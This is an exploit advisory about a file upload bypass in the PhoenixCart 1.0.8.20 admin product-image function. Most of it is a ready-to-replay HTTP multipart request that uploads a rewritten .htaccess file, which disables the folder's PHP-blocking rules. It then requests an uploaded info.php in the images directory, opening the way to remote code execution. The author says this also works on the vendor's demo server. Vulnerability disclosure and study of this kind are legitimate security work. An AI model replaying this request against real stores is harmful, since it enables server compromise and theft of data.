## Title: PhoenixCart-1.0.8.20-File-Upload-Bypass-override-htaccess-security-RCE ## Author: nu11secur1ty ## Date: 12/06/2023 ## Vendor: https://phoenixcart.org/index.php ## Software: https://github.com/CE-PhoenixCart/PhoenixCart/archive/master.zip ## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload ## Description: The Categories/Products Product Images upload function, is ABSOLUTELY NOT SANITIZING WELL for file uploading from any type of extension! In this case, you can see a bypassing of .HTACCESS SECURITY file and uploading an info.php exploit file which info.php can be executed from everywhere for dumping the all information about the server! This can be done on the demo server! Please do not do this! I am a Penetration Tester, not a stupid cracker, and that's why I downloaded it, installed it, and tested it! If you want to test it yourself please download it, install it, and test it! Thank you all! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit execution: ```POST POST /PhoenixCart/admin/catalog.php?cPath=&action=update_product&pID=10 HTTP/1.1 Host: pwnedhost7.com Content-Length: 2952 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://pwnedhost7.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeDPXR7DpYcn3eWA1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://pwnedhost7.com/PhoenixCart/admin/catalog.php?cPath=&pID=10&action=new_product Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cepcAdminID=ukrk3ssr0jd6iqsnn9ofuccmbt Connection: close ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="formid" 733e378dc8154accdbfd80762cc385f48d5566560ac3b264db19393f9beb268e ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_date_added" 2023-12-06 11:36:36 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_status" 1 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_quantity" 0 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_date_available" 2023-12-14 00:00:00 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="manufacturers_id" ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_model" ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_tax_class_id" 1 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_price" 1000.0000 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_price_gross" 1070 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_weight" 1.00 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_gtin" 00000000000001 ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_name[1]" pwned ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_description[1]" pwned your services ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_url[1]" ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_seo_title[1]" ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_seo_description[1]" ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_seo_keywords[1]" ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_image"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_image_large_1"; filename=".htaccess" Content-Type: application/octet-stream # $Id$ # # This is used to restrict access to this folder to anything other # than images # Prevents any script files from being accessed from the images folder <FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$"> <IfModule mod_authz_core.c> # Require all denied </IfModule> <IfModule !mod_authz_core.c> Order Deny,Allow # Deny from all Allow from all </IfModule> </FilesMatch> Options -Indexes ------WebKitFormBoundaryeDPXR7DpYcn3eWA1 Content-Disposition: form-data; name="products_image_htmlcontent_1" ------WebKitFormBoundaryeDPXR7DpYcn3eWA1-- ``` [+]Response: ```PHP GET /PhoenixCart/images/info.php HTTP/1.1 Host: pwnedhost7.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/CE-Phoenix/2023/PhoenixCart-1.0.8.20) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/12/phoenixcart-10820-file-upload-bypass.html) ## Time spent: 00:17:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>